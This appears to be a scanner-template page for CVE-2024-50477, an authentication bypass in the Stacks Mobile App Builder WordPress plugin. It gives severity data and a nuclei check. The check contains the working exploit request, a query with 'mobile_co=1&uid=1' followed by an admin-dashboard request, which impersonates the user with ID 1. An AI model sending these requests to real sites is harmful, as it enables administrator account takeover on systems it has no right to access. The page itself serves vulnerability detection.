WordPress Stacks Mobile App Builder <=5.2.3 - Authentication Bypass

criticalseverity

9.8CVSS score

8.1%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.

Impact

Attackers can exploit vulnerabilities to compromise the system.

Fix

Update to the latest patched version addressing CVE-2024-50477.

How to confirm it

Send: GET /wp-content/plugins/stacks-mobile-app-builder/readme.txt
Positive when: status_code == 200 and contains(body, "Stacks Mobile App Builder")
Send: GET /?mobile_co=1&uid=1
Send: POST /wp-admin/index.php
Positive when: status_code == 200 and contains_all(body, "Dashboard","Plugins","Edit Profile")

Run it with nuclei: nuclei -id CVE-2024-50477 -u <target>

The full check

id: CVE-2024-50477

info:
  name: WordPress Stacks Mobile App Builder <=5.2.3 - Authentication Bypass
  author: stealthcopter,vijay-sutar
  severity: critical
  description: |
    Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-50477.
  reference:
    - https://github.com/stealthcopter/wordpress-hacking/blob/main/reports/stacks-mobile-app-builder-priv-esc/stacks-mobile-app-builder-priv-esc.md
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stacks-mobile-app-builder/stacks-mobile-app-builder-523-authentication-bypass-via-account-takeover
    - https://patchstack.com/database/vulnerability/stacks-mobile-app-builder/wordpress-stacks-mobile-app-builder-plugin-5-2-3-account-takeover-vulnerability?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2024-50477
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-50477
    cwe-id: CWE-288,CWE-306
    epss-score: 0.08118
    epss-percentile: 0.94877
    cpe: cpe:2.3:a:stacksmarket:stacks_mobile_app_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: stacks
    product: stacks_mobile_app_builder
    framework: wordpress
  tags: cve,cve2024,wordpress,auth-bypass,account-takeover,wp-plugin,stacks,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/stacks-mobile-app-builder/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Stacks Mobile App Builder")'
        condition: and
        internal: true

  - raw:
      - |
        GET /?mobile_co=1&uid=1 HTTP/1.1
        Host: {{Hostname}}

  - raw:
      - |
        POST /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Dashboard","Plugins","Edit Profile")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from